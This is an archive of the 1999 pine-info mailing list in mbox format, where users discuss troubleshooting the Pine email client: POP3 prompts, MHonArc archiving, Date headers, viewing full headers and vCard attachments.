ESMTP id LAA36934 for ; Sun, 21 Feb 1999 11:58:25 -0800 Received: from dns2.clubi.net (news.clubi.net [204.216.215.3]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA32373 for ; Sun, 21 Feb 1999 11:58:24 -0800 Received: from access (phaeton@access.clubi.net [204.216.215.2]) by dns2.clubi.net (8.9.1/8.9.1) with ESMTP id LAA24624 for ; Sun, 21 Feb 1999 11:54:29 -0800 (PST) Message-Id: Date: Sun, 21 Feb 1999 11:48:14 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: System Administrator To: Pine Discussion Forum Subject: pine 4.10 + pop3 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: phaeton@access X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN When I start pine, it asks for the pop3 username, and automatically inserts garbage characters, and I always have to "Control-K" to get rid of it...I would like to know if there is a way to fix this. Thank you for your time. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 21 Feb 1999 20:31:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA19461 for ; Sun, 21 Feb 1999 20:31:16 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA14084; Sun, 21 Feb 1999 20:31:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id UAA29438; Sun, 21 Feb 1999 20:20:41 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA23402 for ; Sun, 21 Feb 1999 20:16:28 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id UAA01849 for ; Sun, 21 Feb 1999 20:16:28 -0800 Received: from taxa.psyc.missouri.edu (taxa.psyc.missouri.edu [128.206.45.83]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA05256 for ; Sun, 21 Feb 1999 20:16:27 -0800 Received: from localhost by taxa.psyc.missouri.edu (SMI-8.6/SMI-SVR4) id WAA15058; Sun, 21 Feb 1999 22:15:25 -0600 Message-Id: Date: Sun, 21 Feb 1999 22:15:25 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Miller To: Pine Discussion Forum Subject: Re: MHonArc and "FOLDER INTERNAL DATA" In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: PINE-INFO list X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I read pine-info in digest form, so if there have been replies on the list, I have missed them so far. I just thought I should say a couple of things in response to my own question. First, my example URL showing the FOLDER INTERNAL DATA problem is no longer valid because I have fixed it here: > http://taxa.psyc.missouri.edu/bgnews/1999/ What I'm doing is using the 'tail' command do get rid of the first part of the mbox before I run mhonarc on it: tail +13 path/folder > ! path/folder.fixed mhonarc -outdir archivepath -add path/folder.fixed It seems that "tail +13" handles every folder properly. It works for me, but I have enough disk space and relatively small archives. I did verify that MHonArc cannot exclude messages based on the subject. Regards, Mike -- Michael B. Miller University of Missouri--Columbia http://taxa.psyc.missouri.edu/~mbmiller/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 21 Feb 1999 20:59:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA18860 for ; Sun, 21 Feb 1999 20:59:52 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA05812; Sun, 21 Feb 1999 20:59:50 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id UAA19067; Sun, 21 Feb 1999 20:56:54 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA13530 for ; Sun, 21 Feb 1999 20:52:54 -0800 Received: from taxa.psyc.missouri.edu (taxa.psyc.missouri.edu [128.206.45.83]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id UAA04670 for ; Sun, 21 Feb 1999 20:52:54 -0800 Received: from localhost by taxa.psyc.missouri.edu (SMI-8.6/SMI-SVR4) id WAA15135; Sun, 21 Feb 1999 22:51:51 -0600 Message-Id: Date: Sun, 21 Feb 1999 22:51:51 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Miller To: Pine Discussion Forum Subject: Re: MHonArc and "FOLDER INTERNAL DATA" In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Death's Angel" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Sun, 21 Feb 1999, Death's Angel wrote: > by Enabling: > > quell-folder-internal-msg > > It will stop future mailboxes having the "INTERNAL DATA" folder. Thanks Mr. Angel, but that applies to all folders, right? I can't turn it off for only certain folders but not others. Is that right? Regards, Mike -- Michael B. Miller University of Missouri--Columbia http://taxa.psyc.missouri.edu/~mbmiller/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 01:03:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA01035 for ; Mon, 22 Feb 1999 01:03:25 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA08870; Mon, 22 Feb 1999 01:03:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA07165; Mon, 22 Feb 1999 01:01:55 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id AAA13508 for ; Mon, 22 Feb 1999 00:58:05 -0800 Received: from rumms.uni-mannheim.de (rumms.uni-mannheim.de [134.155.50.52]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA13654 for ; Mon, 22 Feb 1999 00:58:04 -0800 Received: from pciris.rz.uni-mannheim.de (pciris.rz.uni-mannheim.de [134.155.50.75]) by rumms.uni-mannheim.de (8.8.7/8.8.7) with SMTP id JAA29700 for ; Mon, 22 Feb 1999 09:58:01 +0100 (MET) Message-Id: <199902220858.JAA29700@rumms.uni-mannheim.de> Date: Mon, 22 Feb 1999 09:57:59 +0100 Reply-To: iris.mayer@rz.uni-mannheim.de Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Iris Mayer" To: Pine Discussion Forum Subject: Problems with Date-header in pc-pine 4.10 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I just installed Version 4.10 of PC-pine on my Win95-PC. As in Version 4.05, pine produces a wrong Date header field. Many Mail clients are inable to handle correctly mails with such headers. Return-Path: Received: from pciris.rz.uni-mannheim.de (pciris.rz.uni-mannheim.de [134.155.50.75]) by rumms.uni-mannheim.de (8.8.7/8.8.7) with ESMTP id JAA25289 for ; Mon, 22 Feb 1999 09:23:38 +0100 (MET) Date: Mon, 22 Feb 1999 09:23:37 +0100 (=?X- UNKNOWN?Q?=28MEZ=29_Mitteleurop=E4ische_Zeit?=) From: Iris Mayer To: Iris Mayer Subject: test pine 4.10 Message-ID: X-X-Sender: iris@haruma.uni-mannheim.de MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-PMFLAGS: 34078848 0 1 P762F0.CNM I already reported that bug of pc-pine in November 98 (Tue, 17 Nov 1998) but didn't get more that a robot-answer. I hope, there will be more this time! Iris Mayer ---------------------------------------------------- Iris Mayer Computing Center Mannheim University D-68131 Mannheim email: iris.mayer@rz.uni-mannheim.de phone: ++49 621 292 3585 fax: ++49 621 292 5220 office: L15,16 (room 922) From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 03:24:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA05212 for ; Mon, 22 Feb 1999 03:24:26 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA10784; Mon, 22 Feb 1999 03:24:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA02929; Mon, 22 Feb 1999 03:23:15 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA32948 for ; Mon, 22 Feb 1999 03:20:30 -0800 Received: from rumms.uni-mannheim.de (rumms.uni-mannheim.de [134.155.50.52]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA29328 for ; Mon, 22 Feb 1999 03:20:27 -0800 Received: from pciris.rz.uni-mannheim.de (pciris.rz.uni-mannheim.de [134.155.50.75]) by rumms.uni-mannheim.de (8.8.7/8.8.7) with SMTP id MAA25210 for ; Mon, 22 Feb 1999 12:20:17 +0100 (MET) Message-Id: <199902221120.MAA25210@rumms.uni-mannheim.de> Date: Mon, 22 Feb 1999 12:20:16 +0100 Reply-To: iris.mayer@rz.uni-mannheim.de Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Iris Mayer" To: Pine Discussion Forum Subject: view all headers MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN How can I see all headers of my received mails. PegasusMail offers a menu "view all headers", Netscape offers "show all headers", Solaris Mailtool offers "view full header" - what is the equivalent in pine? Thanks in advance, Iris Mayer ---------------------------------------------------- Iris Mayer Computing Center Mannheim University D-68131 Mannheim email: iris.mayer@rz.uni-mannheim.de phone: ++49 621 292 3585 fax: ++49 621 292 5220 office: L15,16 (room 922) -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 07:24:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA08602 for ; Mon, 22 Feb 1999 07:24:30 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA14202; Mon, 22 Feb 1999 07:24:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA13132; Mon, 22 Feb 1999 07:08:52 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA13444 for ; Mon, 22 Feb 1999 07:05:40 -0800 Received: from marlin.exis.net (IDENT:root@marlin.exis.net [205.252.72.2]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA09396 for ; Mon, 22 Feb 1999 07:05:39 -0800 Received: from localhost (ppp-1-23.exis.net [205.252.76.23]) by marlin.exis.net (8.8.8/8.8.8) with SMTP id KAA11955; Mon, 22 Feb 1999 10:05:24 -0500 Message-Id: Date: Mon, 22 Feb 1999 07:55:15 +0000 ( ) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Chip Rose." To: Pine Discussion Forum Subject: Re: view all headers In-Reply-To: <199902221120.MAA25210@rumms.uni-mannheim.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Iris Mayer X-Cc: Pine Discussion Forum X-Sender: ncrose@localhost X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, Iris Mayer wrote: > How can I see all headers of my received mails. > PegasusMail offers a menu "view all headers", Netscape offers "show all > headers", Solaris Mailtool offers "view full header" - what is the equivalent in > pine? > > Thanks in advance, > Iris Mayer > =============================== use the h key to show/hide headers. ensure that you have turned on the "enable-full-header-cmd" in the setup/configuration menu - might be turned on already, by default. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 07:50:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA08832 for ; Mon, 22 Feb 1999 07:50:46 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA14718; Mon, 22 Feb 1999 07:50:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA14747; Mon, 22 Feb 1999 07:43:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA13522 for ; Mon, 22 Feb 1999 07:39:58 -0800 Received: from giasmda.vsnl.net.in (giasmdb.vsnl.net.in [202.54.6.162]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id HAA13229 for ; Mon, 22 Feb 1999 07:39:55 -0800 Received: from localhost by giasmda.vsnl.net.in (SMI-8.6/SMI-SVR4) id VAA03547; Mon, 22 Feb 1999 21:16:03 GMT Message-Id: Date: Mon, 22 Feb 1999 21:16:03 +0000 (IST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: SUHAS KRISHNA To: Pine Discussion Forum Subject: Re: view all headers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Chip Rose." X-Cc: Pine Discussion Forum X-Sender: suhask@giasmdb X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Attn:-All recipents of this letter Kindly exclude me from your mailing list . Thanking you , Suhas From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 07:54:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA08887 for ; Mon, 22 Feb 1999 07:54:31 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA14777; Mon, 22 Feb 1999 07:54:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA15134; Mon, 22 Feb 1999 07:52:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA31290 for ; Mon, 22 Feb 1999 07:49:14 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA14395 for ; Mon, 22 Feb 1999 07:49:13 -0800 Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id KAA19877 for ; Mon, 22 Feb 1999 10:49:15 -0500 (EST) Message-Id: Date: Mon, 22 Feb 1999 10:49:14 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: "please exclude me" WAS: Re: view all headers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN See http://www.washington.edu/pine/pine-info/subscribing.html Read, people, read. -- Ken Woods kwoods@kens.com On Mon, 22 Feb 1999, SUHAS KRISHNA wrote: > Attn:-All recipents of this letter Kindly exclude me from your mailing > list . Thanking you , Suhas From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 08:08:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA09157 for ; Mon, 22 Feb 1999 08:08:18 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15118; Mon, 22 Feb 1999 08:08:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA15540; Mon, 22 Feb 1999 07:57:28 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA29328 for ; Mon, 22 Feb 1999 07:54:03 -0800 Received: from sv2ey.highwayone.net (sv2ey.highwayone.net [195.70.64.140]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA15075 for ; Mon, 22 Feb 1999 07:54:02 -0800 Received: from vole ([195.70.64.90]) by sv2ey.highwayone.net (post.office MTA v2.0 0813 ID# 0-33627U510) with SMTP id AAA355; Mon, 22 Feb 1999 15:52:18 +0000 Message-Id: <3.0.6.32.19990222155652.009bd140@mail1ey.highwayone.net> Date: Mon, 22 Feb 1999 15:56:52 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: cnaden@highwayone.net (Chris Naden) To: Pine Discussion Forum Subject: Re: "please exclude me" WAS: Re: view all headers In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-To: Ken Woods X-Cc: pine-info@u.washington.edu X-Sender: cnaden@mail1ey.highwayone.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN At 10:49 AM 2/22/99 -0500, you wrote: > >See http://www.washington.edu/pine/pine-info/subscribing.html >Read, people, read. > !!! cHRis From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 08:11:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA09111 for ; Mon, 22 Feb 1999 08:11:02 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15162; Mon, 22 Feb 1999 08:11:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA15953; Mon, 22 Feb 1999 08:02:46 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA27712 for ; Mon, 22 Feb 1999 07:59:56 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA15961 for ; Mon, 22 Feb 1999 07:59:55 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id HAA00653; Mon, 22 Feb 1999 07:59:46 -0800 (PST) Message-Id: Date: Mon, 22 Feb 1999 07:59:46 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: <199902201629.LAA03853@ocalhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Timothy J Luoma X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Sat, 20 Feb 1999 11:29 -0500, Timothy J Luoma wrote: > _Attaching_ a file to every email is not possible in PINE as far as I know, > and thankfully so. I can't conceive of any attachment which would be useful > to send with every email message. It certainly would break mailing lists and > folks who still may not have MIME capabilities. vCards are something that can be useful. Arguments can be made for how ugly they are, or that non-MIME readers may find them awkward, but many folks appreciate them. I, for one, prefer someone attach a vCard rather than a huge signature containing all their contact information. Information on vCard is at . -Dan Wing From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 09:06:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA10291 for ; Mon, 22 Feb 1999 09:06:42 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA24860; Mon, 22 Feb 1999 09:06:39 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA13649; Mon, 22 Feb 1999 09:04:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA32778 for ; Mon, 22 Feb 1999 09:01:54 -0800 Received: from kens.com (kens.com [209.70.169.2]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA22569 for ; Mon, 22 Feb 1999 09:01:53 -0800 Received: from kens.com (kens.com [209.70.169.2]) by kens.com (8.9.2/8.9.2-mod-for-majordomo) with ESMTP id MAA21151; Mon, 22 Feb 1999 12:01:53 -0500 (EST) Message-Id: Date: Mon, 22 Feb 1999 12:01:53 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Ken Woods To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Dan Wing X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, Dan Wing wrote: > vCards are something that can be useful. Arguments can be made for Yep. Really useful for those of us running in a *nix environment. >From the web page you provided: "You click the vCard button...." hmm...click on what? The part of the email that says: "[ Cannot display this part. Press "V" then "S" to save in a file. ]" Click on that? *sigh* > how ugly they are, or that non-MIME readers may find them awkward, You left out the part about how they don't comply to RFC 821, RFC 822, or RFC 1049. > but many folks appreciate them. So, the rest of us should suffer? > I, for one, prefer someone attach a vCard rather than a huge signature > containing all their contact information. kwoods@kens.com That's all you need to know. If you want more info, then email me, and I'll get back with you. -- Ken Woods kwoods@kens.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 09:30:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA10838 for ; Mon, 22 Feb 1999 09:30:04 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA25538; Mon, 22 Feb 1999 09:30:02 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA20838; Mon, 22 Feb 1999 09:27:26 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA30946 for ; Mon, 22 Feb 1999 09:25:02 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA08274 for ; Mon, 22 Feb 1999 09:25:01 -0800 Received: from aleph.ii.com ("port 1067"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81LO9DUOW0013QW@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 12:24:47 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 12:23:59 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: Problems with Date-header in pc-pine 4.10 In-Reply-To: <199902220858.JAA29700@rumms.uni-mannheim.de> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Iris Mayer X-Cc: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 22 Feb 1999, Iris Mayer wrote: > As in Version 4.05, pine produces a wrong Date header field. Many Mail > clients are inable to handle correctly mails with such headers. Try setting the TZ environment variable. I've got instructions for how to do this and a link to a list of possible TZ settings at: http://www.ii.com/internet/messaging/pine/pc/ Good luck, Nancy -- For Pine info & links, see www.ii.com/internet/messaging/pine/ ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 09:53:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09606 for ; Mon, 22 Feb 1999 09:53:21 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA17970; Mon, 22 Feb 1999 09:53:19 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA22793; Mon, 22 Feb 1999 09:51:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA39480 for ; Mon, 22 Feb 1999 09:48:58 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA01133 for ; Mon, 22 Feb 1999 09:48:58 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu 